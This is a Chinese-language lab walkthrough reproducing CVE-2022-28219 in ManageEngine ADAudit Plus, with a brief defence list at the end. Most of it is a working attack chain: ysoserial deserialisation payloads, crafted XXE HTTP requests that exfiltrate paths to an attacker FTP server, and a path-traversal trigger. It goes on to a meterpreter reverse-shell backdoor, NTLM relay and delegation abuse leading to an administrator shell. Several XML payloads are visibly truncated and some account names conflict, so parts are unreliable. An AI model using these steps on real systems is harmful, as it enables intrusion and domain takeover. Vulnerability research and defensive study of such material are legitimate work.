CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现
字数 1212 2025-08-06 18:07:54
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞分析与复现
一、漏洞概述
CVE-2022-28219是Zoho ManageEngine ADAudit Plus中的一个严重漏洞,允许攻击者通过XXE(XML外部实体注入)漏洞实现远程代码执行(RCE)。该漏洞存在于/api/agent/tabs/agentData接口中,通过精心构造的XML payload可实现文件上传、目录遍历,最终导致任意代码执行。
二、环境搭建
1. 所需环境
- 域环境:需要将机器提升为域控制器
- 目标系统:安装Zoho ManageEngine ADAudit Plus
- 攻击机:Kali Linux
2. 环境配置
MangeEngine机器(dc)域名: fbi.gov
IP地址: 192.168.20.246
攻击机(kali)IP: 192.168.20.151
3. 安装说明
- 在域控制器上下载并安装ManageEngine ADAudit Plus
- 安装完成后访问DC的8081端口(默认)
- 默认账号: admin/admin
三、漏洞复现步骤
第一步:生成反序列化payload
使用ysoserial生成反序列化payload(使用CommonBeanutils1 gadget):
java -jar ysoserial-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar
第二步:设置FTP服务器
使用BlockingServer使文件驻留到目标服务器中:
java BlockingServer 9090 xxe-upload-test.jar
发送恶意数据包:
POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 316
Content-Type: application/json
[
{
"DomainName": "fbi.gov",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?> ]>&ssrf;"
}
]
第三步:利用XXE漏洞定位上传文件路径
启动XXE FTP服务器:
python2 xxe-ftp-server.py 192.168.20.151 3000 2121
发送数据包泄露目录信息:
POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json
[
{
"DomainName": "fbi.gov",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?> %dtd;]>&send;"
}
]
第四步:触发payload
通过curl命令触发上传的恶意文件:
curl --path-as-is -v http://192.168.20.246:8081/cewolf/a.png?img=/../../../../../../../../../users/fbi/appdata/local/temp/jar_cache5024000158749136930.tmp
四、集成自动化脚本
1. 文件读取
python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -f /windows/win.ini
2. 命令执行
python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -c calc.exe
五、SSRF到NTLM中继攻击
1. 启动Responder
python3 Responder.py -I eth0
2. 发送触发请求
POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json
[
{
"DomainName": "fbi.gov",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?> %xxe; ]>"
}
]
六、通过NTLM中继获取权限
1. 中继到SMB
启动SMB中继服务:
impacket-smbrelayx -h 192.168.20.111 -c hostname
生成后门文件:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.20.151 lport=4444 -f exe -o exp.exe
启动SMB服务执行后门:
impacket-smbrelayx -h 192.168.20.111 -e exp.exe
2. 中继到LDAP(基于资源的约束委派)
添加机器账号:
python3 addcomputer.py -method SAMR -dc-ip 192.168.20.246 -computer-name 7niuzi -computer-pass 123456 "fbi.gov/fbi:p@ssw0rd"
启动NTLM中继:
python3 ntlmrelayx.py -t ldap://dc01.fbi.gov -debug -ip 192.168.20.151 --delegate-access --remove-mic -smb2support --escalate-user 7niu\$
获取票据:
impacket-getST dc-ip 192.168.20.246 fbi.gov/dandan$:123456 -spn cifs/w12.fbi.gov -impersonate administrator
导入票据并执行:
export KRB5CCNAME=administrator.ccache
impacket-psexec -no-pass -k w12.fbi.gov
七、关键知识点
1. 内网域名获取方法
/api/agent/configuration/getAgentServerInfo接口- ManageEngine登录页面显示的netbios名称
- Exchange接口获取FQDN
2. JDK低版本的401认证特性
Java在使用内置类sun.net.www.protocol.http.HttpURLConnection发送HTTP请求遇到401状态码时,若采用NTLM认证会自动使用当前用户凭据进行认证。
八、防御建议
- 及时更新ManageEngine ADAudit Plus到最新版本
- 限制对/api/agent/tabs/agentData接口的访问
- 启用SMB签名
- 监控异常的LDAP修改操作
- 限制域内机器账号的创建权限